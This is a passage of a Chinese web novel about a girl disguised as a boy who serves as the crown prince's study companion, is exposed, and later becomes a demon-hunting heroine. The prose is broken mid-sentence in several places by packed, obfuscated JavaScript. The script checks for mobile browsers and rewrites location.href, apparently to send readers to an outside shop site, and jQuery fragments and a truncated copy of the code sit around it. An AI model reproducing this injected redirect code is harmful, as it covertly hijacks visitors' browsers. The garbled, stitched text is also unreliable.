乔天璇虽然没有回头,但她光是听声音就能听得出陈渊龙定是在咳血。 陈玄收回探出去的脑袋,看着眼前的乔天璇,无所谓道:“乔大公子,既然你洒扫得这么好,那就继续好好洒扫吧。你也没必要去让太子的宫女请太医了,太医都没空,你去了也是白搭。” 说完,陈玄一步一步后退到了书阁门口,转身离了去。 乔天璇心中一股无名火猛起,她的目光一直跟着陈玄,直至他彻底离开了书阁。 “算了,乔大公子。”陈渊龙平静的声音从后方传来。 乔天璇转头望向了书案前的陈渊龙,见他已经用自己的手帕擦干净了方才咳出来的血。 “太子殿下,你没事吧?”乔天璇转过身看着陈渊龙苍白的脸,感觉自己像是在看一个将死之人。 “没事。”陈渊龙坐正了身子,认真道:“乔天飞,麻烦你早些回去,到药铺帮我买一些金疮药和咳血丹。作为感激,今日你就不必再洒扫和浇花了。” “行!”乔天璇听到陈渊龙说今日的自己不必再洒扫和浇花了,立马答应了下来。 买些金疮药和咳血丹于乔府来说花不了几个钱,而能不必再洒扫浇花,可以早一点离开书阁这种事是乔天璇自受罚这么久以来第一次碰上,她自然毫不犹豫地接受了这个交易。 记得上一回“水缸中被陈玄投放死老鼠”之事时,乔天璇还把三层书阁都给洒扫干净了。现在她才刚在第一层扫了没几下就解放了,简直跟在做梦一般。 抬头望天,乔天璇发现自己在下学出宫后还能看到天上挂着金灿灿的太阳。 她都要快不记得这是多久之前才能体会到的事情了。 回想起来,四年前的她还没被先生惩罚去太子的书阁洒扫那会儿,她每日都能看到现在这样的太阳。 但乔天璇并不后悔自己惊扰陈渊龙的每一回,虽然她为此付出了一些代价。 乔天璇不再多想,她先是让护卫们跟着自己乘坐的马车去了药铺买金疮药和咳血丹,随后又绕路去了头饰铺子。 即便乔天璇在宫中女扮男装,声音也伪装成了小男孩的声音,可她内心终究是一个女孩,喜欢各种各样好看的头饰。 不过乔天璇明白自己现在的身份是乔家大公子,若是真的进了头饰铺子里买头饰,那么自己必然会被别有用心之人说三道四,说不定还会惹来不怀好意的人怀疑自己的性别。 因此,乔天璇跟马车夫说得清清楚楚,只需路过最近的头饰铺子即可。 她只在马车里掀开车窗的帘子偷偷看一眼头饰铺子过过眼瘾。 毕竟那些好看的头饰就算买回去了她也没有戴的机会,还不如让虽然与自己素未谋面但也和自己一样喜爱各类头饰的女子们买来戴,至少这样不会让头饰搁置着落灰。 翌日,乔天璇在看到缓缓走入皇家学堂中的陈渊龙时才反应过来他昨晚可是硬生生捱过去的。 陈渊龙的额头和手上仍旧缠着绷带,众世家长子纷纷向陈渊龙投去同情的目光。 姜景和可憋不住秘密,他早已跟其余的世家长子都说了太子被后母毒打的事情。 现在大家都知道陈渊龙身上的伤是怎么来的了,对皇后的评价只剩下了无奈的摇头。 然而,陈渊龙并没有主动来找乔天璇要金疮药和咳血丹。 乔天璇也没有主动去把金疮药和咳血丹给陈渊龙。 一直等到了下学后,只有他们两人在书阁时,陈渊龙才让乔天璇把金疮药和咳血丹给他。 乔天璇看着陈渊龙立即从药瓶中倒出一颗咳血丹吞了下去,又准备自己给自己敷金疮药,猜测道:“太子殿下,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025623|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怕别人对我起疑心才等到现在向我要金疮药和咳血丹的吧?” “嗯。”陈渊龙并不否认。 “没想到你还是有那么一丁点良心的嘛。”乔天璇哼笑一声。 陈渊龙没再回应乔天璇,他解开了自己衣带,褪下上衣,扯下绷带,身上所有的伤顿时被乔天璇尽收眼底。 乔天璇懵了一下,强忍着没有转头捂脸。 她记得很清楚,姑姐乔悦儿曾对自己说过男子与男子若是对彼此熟悉,他们互相之间坦诚相待是件很正常的事情。 如果自己现在转头捂脸了,那反倒会让人怀疑自己是女子了。 乔天璇就这么眼睁睁地看着陈渊龙面无表情地低头给他自己敷金疮药,不见陈渊龙有一丝想让站在他面前的乔天璇给他帮忙的意思。 由于常年习武,陈渊龙虽然才十二岁,但他已经有了一身薄肌,特别是腹上的几块肌肉,看得乔天璇情不自禁多停留了几眼。 可比之更抢眼的是陈渊龙身上数不胜数的伤。 许多旧伤还未好就又被新伤覆盖。 乔天璇看得出陈渊龙身上有许多可怕的伤是被棍子打出来的,特别是胸口处,一大片紫得发黑的淤青,直看得她心惊。 与此同时,乔天璇似乎也能明白为何陈渊龙会吐血了。 他大抵是真的被打出内伤了。 若是陈渊龙没练武功,体内没有内力和真气护着,怕是早就已经被皇后给打废了。 如此看来,皇上新立的皇后可真是恨极了陈渊龙,她这是要把陈渊龙给往残了打! 不多时,陈渊龙给自己身上所有的伤都敷好了金疮药。 他重新绑好绷带,穿好上衣,系好衣带,抬眼看向了乔天璇,道:“多谢。” “不必。”乔天璇疑惑道:“太子殿下的下半身没受伤吗?” 陈渊龙道:“晚些时候我回房了再敷下半身。” “哦。”乔天璇也不想看陈渊龙给自己的下半身敷金疮药的画面,便没再接着问,赶紧拿好簸箕和笤帚洒扫去了。 之后的日子里,陈渊龙虽然还是在不断地受伤,身上就没有不缠着绷带的时候,但有了乔天璇带给他的金疮药和咳血丹,他的身子也不再被伤口疼得微微颤抖了。 而当金疮药和咳血丹用完了时,陈渊龙就会免去乔天璇一日的惩罚,让乔天璇早些出宫去给他买金疮药和咳血丹,待到次日再在书阁中交予他。 一日,乔天璇刚在书阁后院给泥地浇完了水,正准备翻窗回书阁中时,忽然听见了陈玄的声音。 乔天璇当即停下了动作,想要听听陈玄又会与陈渊龙说些什么。 只听陈玄阴阳怪气道:“皇兄,你可真是皮糙肉厚啊,受伤之后光是会给自己缠绷带,太医也没请,母后怎么就打不死你呢?” “不关你事。”陈渊龙没声好气地回应。 陈玄道:“皇兄,你猜猜看,我们的父皇被太医治好了没?” 陈渊龙道:“好了。” “哪里啊?还没好呢!”陈玄兴致勃勃道:“皇兄,如果说父皇的身子实在是顶不住了,他必须得在我们两个人中选一个人当新的皇上接替他的位置,你觉得父皇会选谁?” 陈渊龙:“……” “哈哈哈哈哈哈哈皇兄别不说话啊!皇兄?皇兄!皇兄你说话啊!哈哈哈哈哈哈哈……”陈玄肆无忌惮地狂笑着。 陈渊龙依旧没有说话。 听着陈玄的笑声,乔天璇身上直起鸡皮疙瘩。 过了好一会儿,陈玄的笑声才逐渐停了下来。 “皇兄,你现在不受宠了,可是父皇愈发宠我了!”陈玄得意道:“皇兄,你知道吗?父皇又给我多添了十个照顾我饮食起居的漂亮宫女!而你呢?嗯?哈哈哈哈哈哈哈哈……皇兄,可怜的皇兄啊,我们走着瞧!” 乔天璇听到了陈玄说完之后便扬长而去了的脚步声,她连忙翻窗回到了书阁里,来到了陈渊龙的身旁,看到陈渊龙阴沉着脸,一双黑眸中尽是可怕的杀气。 49. 书阁惩罚(五) 陈渊龙照例检查了乔天璇洒扫完的书阁和浇完水的泥地后便让乔天璇回了去。 乔天璇在回去的路上满脑子都是陈玄的狂笑声和陈渊龙尽是杀气的模样,不由得打了个寒战。 皇位之争真是可怕,哪怕两个皇子都还只有十二岁。 明日要上琴课,乔天璇一回到住处便让清涟把琴准备妥当放到了显眼的位置,好在明日不忘了拿。 上了几年的琴课,乔天璇的琴技逐渐好起来了。 只不过乔天璇还未找到机会与陈渊龙在琴技上一决高下,陈渊龙就先一步对乔天璇提出了要她为自己抚琴的要求。 “什、什么……太子殿下?”乔天璇刚走进书阁的院门,正准备去拿簸箕和笤帚洒扫,一时间不敢相信自己刚刚听到陈渊龙说了什么。 陈渊龙的额头、手上、腿上都没有缠着绷带,看起来伤势已经好了许多。 他又重复了一遍:“据说五音能疗伤,你为我抚琴,加上今日,往后三日皆免你的惩罚。” “好!”乔天璇这回终于相信自己听到的话是真的,不是幻觉了。 步入书阁中,陈渊龙让乔天璇坐到了他平常坐着的书案前。 此时,书案上放着一张看起来既古朴又雅致的琴。 这正是陈渊龙平日里上琴课时弹的那张琴。 陈渊龙拿起一本书走向了最近的一个书架,边走边道:“就弹今日贺先生让我们在课后多温习的那首曲子罢。” 乔天璇低头看着书案上这张琴,轻轻拨弄了一下琴弦。 听着悦耳的琴音,乔天璇脑海中慢慢回想起陈渊龙所说那首曲子的曲谱,指尖小心翼翼地抚过琴弦,所弹之曲如缓缓流淌的溪流那般安宁而轻柔,似乎能让人看到溪边的一棵参天古树下躺着一只安心酣睡的麋鹿,树上趴了好几只慵懒的狸猫。太阳温暖而不刺眼,大片的青绿色草地随风摇摆,时而往东时而往西,时而往南时而往北,没有固定的方向。天空中飞过一排大雁,山顶的羊仰头看了一眼大雁后继续低头吃草。蝴蝶在湖边的花丛中翩翩起舞,湖中的鱼自由自在地游着,偶尔浮到水面上吐泡泡。所有的一切都令人感到心安和自在,处处生机盎然,天地仿佛能让时间永远这样缓缓流淌下去。 弹着弹着,乔天璇也沉浸在了令人心安的曲调中。 陈渊龙直接盘腿坐在了书柜前的地上。 他并没有看书,而是就这么坐着闭目养神。 天边斜阳落下时发出的灿灿金光从书阁一边的所有窗户中透进来,洒落在地上、书柜上,以及书柜中的一册册书上。 乔天璇心中不禁感叹陈渊龙的这张琴果然是好琴,她竟是弹着弹着便暂时忘了时间的流逝和心底所有的不甘与仇恨。 看着自己指尖下的这张好琴,乔天璇忍不住好奇,试着往琴弦中注入了一些自己的灵力。 霎时间,带有灵力的琴声回荡在书阁中,似乎唤醒了某些沉睡的灵。 乔天璇细心感受着,发现这些灵都是一些曾死于书阁中的虫鼠之类。 随着带有灵力的琴声抚过它们的灵体,这些没有太多念想,却在死后不知是为何没法离开书阁的死灵开始一个接着一个慢慢消散,一直到乔天璇察觉到最后一个死灵也彻底消散了。 “铮!” 只听一根琴弦突然绷断的声音,乔天璇的手指也被这根绷断的琴弦给猛地弹了一下。 “嘶!”乔天璇慌忙查看自己被琴弦弹到了的那根手指,发现破了一点皮。 “怎么回事?”陈渊龙睁开双眼看向了乔天璇。 此时的天色比起方才黯淡了不少。 乔天璇的脸在背光处,陈渊龙有些看不清。 “琴弦断了。”乔天璇哪里想得到如此好的一张琴居然会突然断了弦。 “明日还有琴课,你可真是……”陈渊龙起身快步走向了乔天璇,脸色十分不好看。他冷冰冰地看着乔天璇,凉飕飕:“罢了,看来你的手指还真是不适合抚这张古老金贵的琴,今日你先回去吧。三日后,你继续来书阁洒扫浇花。” “哦,好。”乔天璇听到陈渊龙说的这句话后就感觉自己像是被他给当头浇了一盆冷水,立马起身快步离开了书阁。 不管是何原因,不小心弄断了琴弦的确是自己的错,更何况明日还有琴课,也不知陈渊龙该如何解决琴弦的问题,乔天璇心中心虚。 翌日,琴课,乔天璇瞥见陈渊龙换了一张琴,而这张琴并不比之前那张要差,乔天璇心中顿时就释怀了。 陈渊龙可是太子啊!就算他现在是个不受宠的太子,但他在昔日受宠的时候肯定是想要什么便有什么的,琴这种物件他有好几张都不足为奇,弹坏了一张就换,自己又何必担心他琴的问题? 再说了,物有本末,事有终始[1]。所有东西都总会有坏掉的一日,不过是时间问题罢了。而自己恰好赶上了琴弦崩断了的那一刻,便理所当然地成了一个“罪人”,当真是不幸。 想到这里,乔天璇忆起昨日书阁中陈渊龙对自己的冷言冷语,不由得悄悄“切”了一声。 真是个小气鬼。 对了,陈玄之前好像还骂过他“小气龙”来着?果真名副其实。 三日后,刚刚下学的乔天璇正准备跟陈渊龙一同去往书阁,一群持刀宫卫突然冲了上来,将乔天璇和陈渊龙团团围在中间。 其余世家长子在下学铃声一被敲响的那一刻就迫不及待地离了皇家学堂,只剩下垂头丧气的乔天璇和面无表情的陈渊龙。 领头的宫卫像是盯着一只诱人的猎物一般盯着乔天璇,大喊道:“带欺君罪人乔大小姐上大殿问责!” “乔大小姐?”陈渊龙疑惑地看着围上来的宫卫们,不解道:“她不在这儿啊?” 乔天璇浑身一怔,一瞬间不知该不该辩解,话到了嘴边却说不出口来。 宫中与自己待在一起时间最长的陈渊龙都没能发现自己其实是女儿身,那宫中又有谁能发现自己是女儿身? 可不等乔天璇多想,她便已经被宫卫们齐齐擒住,动弹不得。 “带走这个丫头!”领头的宫卫恶狠狠地看着乔天璇,像是在看着什么罪大恶极的人一样。 “你们都瞎了吧?!乔天飞是世家大公子啊!他是男的啊!!!”陈渊龙看着擒了乔天璇便往大殿方向走的宫卫们大喊。 领头的宫卫边往大殿的方向走边一本正经地解释:“太子殿下,乔大小姐一直以来女扮男装替她弟弟给您伴读,此乃欺君之罪,乃是死罪,不可饶恕!” “不可能!他的声音……分明是男声!而且世上哪儿会有他这般顽劣不堪的女孩?”陈渊龙不可置信地看向了乔天璇,紧跟着前往大殿的宫卫们。 领头的宫卫道:“太子殿下若是不信,大可去问问皇上。” 陈渊龙焦急地看着乔天璇,声音颤抖地问道:“乔天飞,你不是女孩吧?” 乔天璇轻轻点了一下头,用男孩的声音道:“你信我吗?” “我当然信!哪儿可能会有女孩顽劣成你这样的?!”陈渊龙眉头紧蹙。 乔天璇不敢多说什么,她现在最怕的就是自己在拼命解释之后众人会把她的裤子给扒下来看看她到底是男还是女。 这么多的男人啊,她可不想经历这样的事情。 宫卫们走得很快,乔天璇感觉还没一会儿就来到了大殿。 斜阳透过门窗一道一道照进大殿中,如同给地砖镀了一层金,没光的地方则显得灰不溜秋。 皇上坐在龙椅上,一手揽着靠在他怀中娇滴滴的皇后潘氏,居高临下看着被宫卫们擒到了大殿中的乔天璇。 陈渊龙默默地抬头望着他的父皇,一双黑眸中尽是疑惑与无奈。 皇上瞟了一眼陈渊龙,道:“太子也来了?那正好,免得我再让人特意去与你说这件事。” 陈渊龙呼吸一滞,喉头滚动,神色小心翼翼地再次看向了乔天璇。 皇上的目光也落到了大殿中被宫卫们强行押在地上的乔天璇身上,怒道:“乔大小姐,告诉你一件事情,淮南乔氏被人灭门了,无一活口,现在唯一存活的乔家血脉便是你。” 乔天璇当即浑身一颤。 灭门?无一活口?那岂不是说姑姐乔悦儿和曾经负责保护自己的护卫凌风也死了? 看到了乔天璇的反应,皇上饶有兴致道:“据乔家的萧夫人为保命所言,本应给太子伴读的乔家长子乔天飞由于天生残疾,乔家便决定让乔大小姐乔天璇女扮男装顶替弟弟乔天飞来给太子伴读。此乃欺君之罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025624|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,淮南乔氏所有人都当为此而死!萧夫人她……自然也死了。” 听到萧芯荷死了,乔天璇并无甚太大反应。 于乔天璇而言,这个总是欺负自己的萧芯荷倒是死得好。 “乔天……璇?”陈渊龙第一次唤乔天璇的真名,极不适应。 皇上见乔天璇并无甚太大反应,当即大怒道:“乔天璇!你的母亲只是个未过乔府门的外室女,你便是外室女之女,身份极低,极不配给太子伴读!朕唤你为乔大小姐都是抬举你了!” 乔天璇猛然抬头望向了皇上,终于用她原本的女声大喊道:“我娘不是外室女!都是我爹的错!” “住口!这里没有你说话的份儿!”皇上暴怒道:“骗了我们这么多年,简直罪不可恕!当死……” “报——!”一个士兵步履匆匆地赶到了大殿门口,慌慌张张道:“皇上,不好了!前方我军战败!朔风国要我们将太子以质子身份交出,否则他们的前锋大将军就要带人冲破泷山关屠城了!” “什么?!”皇上的怒火一下子被这个突如其来的消息浇灭,眼中的愤怒也变为了惊惧。 他怀中的皇后也是一惊,慌忙娇滴滴地问道:“皇上,该怎么办呀?” 皇上的目光一下子落到了陈渊龙的身上。 陈渊龙与他的父皇四目相对,两人的眼中皆闪过一丝不悦。 “好,去给朔风国前锋大将军报信,说九宸国质子我们会连夜送过去。”皇上俯视着陈渊龙,说得十分坚定。 “使不得啊皇上!”一个年迈的大臣忽然从一旁的暗处走了出来,神色悲怆道:“太子这一去,恐怕凶多吉少,许是会一去不复还呐!” 皇上瞥了一眼那个须发银白的年迈大臣,再次看向陈渊龙,严肃道:“为了整个九宸国,太子的牺牲是光荣的。以他一人的命,换无数百姓的命,值得!事情就这么定了!” “是!”传信的士兵即刻转身快步离去。 靠在皇上怀中的皇后瞟了陈渊龙一眼,嘴角扬起得意的笑。 若是陈渊龙去了朔风国当质子,那陈玄就暂时少了一个竞争皇位的对手。再加上去敌国当质子本就是九死一生的事情,能够活着回来的可能性几乎没有。皇后作为陈玄的母亲,她自然乐意这样的事情发生。 “唉……”年迈的大臣无奈又无力地退回到了暗处。 乔天璇瞟了陈渊龙一眼,见陈渊龙浑身都在情不自禁地发抖。 也对,陈渊龙才十二岁,突然一下子就要被送往敌国当质子了,还是九死一生的境遇,他心中哪儿可能会一下子就接受了这件事情? 想罢,乔天璇居然觉得一下子放松了许多。 看来自己与陈渊龙的遭遇算是半斤对八两了。 反正自己已经犯下了欺君之罪,等待自己的只有死亡。在死前能够亲眼见到自己一直以来期盼着去死的人大概也要去死了,即使死不了,估计也要在敌国受到不少非人的折磨。对此,乔天璇心安了不少。 正当乔天璇放空大脑垂眸看地等死时,陈渊龙扫了一眼仍被宫卫们押在地上的乔天璇,抬头望向了皇上,认真道:“父皇,我可以去朔风国当质子,但我跟乔天璇还有私仇,此仇我若不亲自报的话实在是不甘心!我要乔天璇当我的贴身侍女,我要她陪我一起去朔风国受活罪!” “……” 此话一出,大殿寂静。 乔天璇惊诧地看着陈渊龙,大脑一片空白。 陈渊龙这话虽然说得难听至极,但乔天璇一下子就听出来了陈渊龙这是在救自己的命。 自己若是以贴身侍女的身份随着陈渊龙去了敌国,那即便前方的一切都是未知,但至少还能暂时活着。可若是自己现在就因欺君之罪被皇上处死,那自己就真的死了。 只是给陈渊龙当贴身侍女这种事情对乔天璇来说简直就是耻辱,还不如去死呢。 然而,皇上却是若有所思地点了点头,语气随意道:“行啊,那朕便准了乔天璇当太子的贴身侍女了。” “谢父皇!”陈渊龙连忙跪地拜谢皇上,以显他的诚意。 皇上轻蔑地看着乔天璇,懒懒道:“乔天璇,你也算是能以此来将功补过了。今夜你便随太子一同前往朔风国,好生服侍太子。” 50. 彻底掉马(一) “别哭,哎呀别哭呀……”姜景和赶紧从怀中掏出手帕给乔天璇拭泪。 陈渊龙却是一指头移开了姜景和的手帕,用手指抹去了乔天璇还在不断往下淌的泪珠子。 乔天璇猝不及防浑身一颤。 花蕊小心翼翼安慰道:“天璇姐姐不要伤心啊……” 祝源不可思议道:“原来灵师大人就是淮南乔氏大小姐,那我们之前路过乔家遗址的时候……” 祝源突然说不下去了。 “书呆子不会说话就别说话!啧。”花蕊连忙捂住了祝源的嘴,对祝源满眼嫌弃。 给乔天璇抹完泪后的陈渊龙看向了姜景和,认真道:“乔天璇和她的师父这些年来一直都在除妖救人,我派人打听到江湖上流传的三侠行客中有个叫‘云天’的女侠,是个厉害的灵师,我便怀疑她就是乔天璇,这才下定决心亲自出宫寻人。” 姜景和惊道:“太子殿下知道乔大小姐是灵师?!” 陈渊龙道:“姜大公子应该还记得乔天璇曾被教我们的先生惩罚到我的书阁中洒扫的事情吧?她在偶然间帮我除掉了书阁中的一个死灵,却不承认自己是灵师,说自己才疏学浅,略懂皮毛而已。” 闻言,乔天璇心中一怔。 都已经过去这么多年了,陈渊龙居然还记得那件事情?! “原来如此……乔大小姐居然就是云天女侠!”姜景和兴奋极了,激动道:“乔大小姐!感谢你之前救了我的表弟!” “你的表弟?”乔天璇并不知姜景和口中的表弟是谁。 “你不记得了?”姜景和赶紧向乔天璇解释:“去年我表弟跟我说他刚到荆州,在清江段氏的地界游玩那会儿遇到了一只藤妖。那只藤妖差点就要把他给缠死了的时候是三侠行客赶来救了他!其中最让他记忆深刻的便是云天女侠!” “藤妖?”乔天璇回忆了一下,后知后觉道:“哦……记起来了。” “我也记起来了!”花蕊兴奋道:“我是三侠行客中的玉心女侠!当时我们云天女侠可厉害了!” “原来你是玉心女侠?!”姜景和当即看向了花蕊,十分惊讶。 “对呀,怎么?难道我看起来不像个厉害的女侠吗?”花蕊的语气有点冲,满脸写着不服。 “像!当然像!”姜景和当即慌忙找词夸赞花蕊:“玉心一看就是个甜美可爱,糖里藏针的女侠!” “糖里藏针?不错,我喜欢这个形容!”花蕊立马喜笑颜开。 姜景和又看向了乔天璇,感慨道:“没想到乔大小姐几年不见,居然已经变成闻名江湖的女侠了。原来之前我在听到那些关于三侠行客的江湖事迹时便已经知晓了乔大小姐的近况,只是当时的我并不知云天女侠便是乔大小姐。” 洛侠见乔天璇的身份已被挑明,他也不对此多作什么解释。 而乔天璇清楚洛侠现在无论怎么帮自己解释都显得苍白无力,还不如就这样一句话都不解释。 她只能坦然接受和面对自己淮南乔氏大小姐这个身份被揭穿的事情。 叶天芯和妇人在知道了眼前几人的身份和事迹之后已经惊得话都说不出来了,只剩下目瞪口呆的神情。 祝源的嘴依旧被花蕊捂着,他的眼睛瞪得大大的,一句话都说不了。 乔天璇被姜景和提起的事情回想起了去年三侠行客把姜景和的表弟从藤妖手中解救出来的画面,心中不禁感叹时间过得真快,灭藤妖的场景历历在目,仿佛就发生在昨日。 当时,三侠行客跟着指味犬的指示一路从徐州往西南而下,来到了荆州,到达了清江段氏的地界。 走在大街上的乔天璇看着手中指味犬的舌头一动不动地指着前方,便知道只要继续一直往前走,就一定能找得到那帮盗了镇玉的盗墓贼。 “哇!好香啊,那个是叫……糖油粑粑!”花蕊忽然盯上了街边一侧的一个铺子,从食物盯到招牌,又从招牌盯回了食物,馋得口水都要从嘴里面流出来了。 “想吃的话我们就去买来尝尝吧。”乔天璇见花蕊馋得两眼放光,跟只闻到了烤鱼的猫儿一样,忍不住轻轻一笑。 “云天也想吃吗?”祝怀风跟在乔天璇的身旁另一侧,他转脸看着乔天璇,一脸期待。 乔天璇毫不犹豫道:“想啊,既然这么香,那就尝一下呗。” “好!”祝怀风当即快步赶超到了乔天璇和花蕊的前面,向铺子的老板付了三个糖油粑粑的钱。 “呀,你请我们吃啊?”乔天璇慢步走到了祝怀风的身后。 “对,我请。”祝怀风转身面向了乔天璇,把手中的其中一个糖油粑粑递给了乔天璇。 糖油粑粑被纸袋装着,即使有点油也沾不到手上。 “谢谢你。”乔天璇接过糖油粑粑,心情大好。 “我也要!”花蕊一下子走近了祝怀风,伸手作势要去祝怀风手中拿。 “好好好,给你的。”祝怀风连忙把花蕊的那一份糖油粑粑递给了花蕊。 “啊呜!”花蕊立即把糖油粑粑从纸袋中挪出来了半个身子,猛地咬了一大口。 “好吃吗?”乔天璇歪头看着花蕊。 “好吃!就是有点黏黏的!”花蕊含着满口糖油粑粑,一个字都说不清楚。 但乔天璇和祝怀风都听明白了花蕊在说什么,忍不住微微扬起了嘴角。 “好吃就行。”乔天璇也把糖油粑粑从纸袋中挪出来了半个身子,轻轻咬了一口,顿时两眼冒光,惊叹道:“真的好吃!” 祝怀风见乔天璇和花蕊都吃得非常高兴,他小口尝了尝手中的糖油粑粑,立马点头道:“不错,确实好吃!” 乔天璇吞下了口中的糖油粑粑,道:“我们边走边吃吧。” “嗯嗯!”花蕊连忙跟到了乔天璇的身旁。 祝怀风则走到了乔天璇的身旁另一侧。 三人继续前行,看到此处的街道两旁有不少铺子在卖腊肉和臭豆腐。 腊肉的味道还挺香的,可臭豆腐的味道就让乔天璇忍不住皱眉头了。 就连贪吃的花蕊都离卖臭豆腐的铺子远远的,不敢靠近。 祝怀风不禁疑惑道:“这里的人味觉是比较独特吗?怎么会喜欢吃这么难闻的东西?” “不知道。”花蕊很快就吃完了手中的糖油粑粑,又开始东张西望寻找哪里有卖味道香一点的食物的铺子。 乔天璇和祝怀风在闻到臭豆腐的味道后都不约而同地加快了吃糖油粑粑的速度,好用糖油粑粑的味道来掩盖臭豆腐的味道。 然而方才有人听到了祝怀风的疑问,一个男子立马捧着一纸包的臭豆腐走到了祝怀风身边,笑呵呵道:“我听到你刚刚说的话了,小伙子一定是外地来的吧?” “是啊,这吃的东西都是什么味道……”祝怀风慌忙抬手捂住了自己的鼻子。 男子笑道:“这臭豆腐虽然闻着臭,但是吃着香啊!去尝尝吧!” “算了算了,我之后若是能够适应这个味道了,再尝也不迟。”祝怀风委婉地拒绝了,满脸都是为难的笑容。 “行,我保证你若是吃上一口,立马就会喜欢上!”男子信誓旦旦地说着,望着祝怀风越走越远的背影,又吃了一口手中的臭豆腐。 乔天璇忍不住道:“真是热情啊。” “看来这里的人是真的觉得发臭的豆腐很好吃。”祝怀风猛吃了两口糖油粑粑来遮盖自己闻到的臭豆腐味儿。 不一会儿,乔天璇和祝怀风都吃完了手中的糖油粑粑。 突然,一声凄厉的惨叫从一旁传来。 乔天璇循声转眼望去,只见一个衣着光鲜,神色惊恐的男子从一家客栈二楼的窗户中绝望地跳了出来。 “他要自杀?!”花蕊瞳孔骤然一缩。 下一刻,一根碧绿色的藤条“唰”一声从窗户中忽地伸了出来,紧紧缠住了下坠的男子。 街上的百姓们当即惊恐地议论起来。 “那人是……谁?” “我知道他!他是琅琊姜氏大公子的表弟,名唤曲戈姚!” “他被妖怪给缠住了!” “好可怕!那是藤妖吧?” “他还有救吗?” 话音刚落,缠着曲戈姚的藤条便忽地将他往窗户里面拉去。 “不要啊!不要吃我!不要吃我!!!”曲戈姚惊慌失措地惨叫着,双手死死抓着窗户框,极力不让自己被藤妖抓回房内。 “原来他在躲吃人的妖怪!”花蕊恍然大悟。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乔天璇连忙问道:“它有头有嘴?!” 花蕊大喊:“有!藏到屏风后面了!绿油油的,恶心得很!我现在就将它的头给彻底砍了!” 随即,一声声听着酷似砍猪骨头的声音响了起来。 花蕊手起刀落,双刀齐砍。 藤妖撕心裂肺地狂嚎着,随着乔天璇双手对符的又一撕,它缠着曲戈姚的那根藤条突然断了。 “啊——!” 曲戈姚毫无准备地从空中坠落。 底下的祝怀风赶紧一把接住了从天而降的曲戈姚,关心道:“没事吧?” “没、没事……”曲戈姚惊魂未定地看了看抱着自己的祝怀风,望向了上方御剑的乔天璇。 与此同时,乔天璇手中的符几乎被她撕成了粉碎。 藤妖浑身上下的藤条断裂处皆爆出大量汁液,狂嚎声也在它的头被花蕊彻底砍下后戛然而止。 “终于死了。”乔天璇长长舒了一口气。 百姓们全都围了过来,好奇地看着抱着曲戈姚的祝怀风。 曲戈姚在百姓们的目光反应了过来,慌忙从祝怀风的怀中下了来,“咳咳”两声,对祝怀风道:“你们是……三侠行客?” 祝怀风点头道:“对,我们是三侠行客,我叫风筝,另外两位女侠分别是云天和玉心。” 闻言,百姓们议论纷纷起来。 “三侠行客?听起来好厉害的样子!” “本来就很厉害,都把藤妖给杀成这个样子了,能不厉害吗?” “就是就是!” “哇,你们快看!地上那断了一截的绿色东西是藤妖的藤条!” 百姓们朝地上某一处望去,看到了方才缠着曲戈姚的其中半截藤条。 当然,之后这件事自然成了关于三侠行客的江湖传闻。 “……没想到你还救了姜景和的表弟。”陈渊龙直直看着乔天璇,似乎有些懊恼:“看来去年我就应该去荆州亲自寻你,这样我就能早一年见到你了。” “是嘛,你就这么想带我回宫当你的太子妃?”乔天璇没声好气地说着,对陈渊龙没有一丝好脸色。 “嗯?太子妃?”姜景和猛地转头看向了陈渊龙,震惊道:“你要娶乔大小姐为太子妃?!” 51. 彻底掉马(二) “没错,我要娶乔大小姐为太子妃。”陈渊龙说得十分坚定。 乔天璇冷哼一声,看向了花蕊手中那个自己刚刚折好的能弹出花来的小纸盒子,嘲讽一般道:“我记得太子殿下早就已经不受宠了吧?我跟你回宫当你的太子妃能有什么好处?” 此话一出,所有人的目光都落在了陈渊龙的身上。 姜景和许是在听到乔天璇提了这一嘴后猛然回想起了此事的确不假,眼中当即闪过一丝担忧。 陈渊龙的目光随着乔天璇的视线也落到了花蕊手中能弹出花来的小纸盒子上,平静道:“你不在的这五年里,我为父皇解决了大臣上报上来三次不同地方的水灾、四次不同地方的饥荒,揪出并斩杀了隐藏了方士身份,背地里用巫毒娃娃诅咒父皇头疼不止的一位大臣。父皇对我的期待已经高于二皇子了,而且我还揭露了父皇新立的皇后潘氏与二皇子暗地里通奸的事……” “什么?!”姜景和震惊无比,不可置信道:“母亲与儿子通奸?” “嗯。”陈渊龙点了点头,补充道:“后母因此事被父皇砍断双腿关入了冷宫中。二皇子则被剃发,杖责五十棍。” “皇上居然没有处死他们?”姜景和有些不解。 “父皇还是太过心慈手软了,舍不得让这两人死。”陈渊龙抬眼看向了乔天璇,认真道:“这次回宫之后,我必夺皇位。” “哦?听你这话的意思是我不单止能当太子妃,还能当上皇后?”乔天璇饶有兴致地说着,语气中却充满了“不信”二字。 陈渊龙斩钉截铁道:“你若是想当,我必然会让你当上。” 乔天璇虽然对皇后这个位置有一点心动,但她还不想当陈渊龙的皇后。 姜景和连忙喊道:“太子殿下,我支持你!” “……” 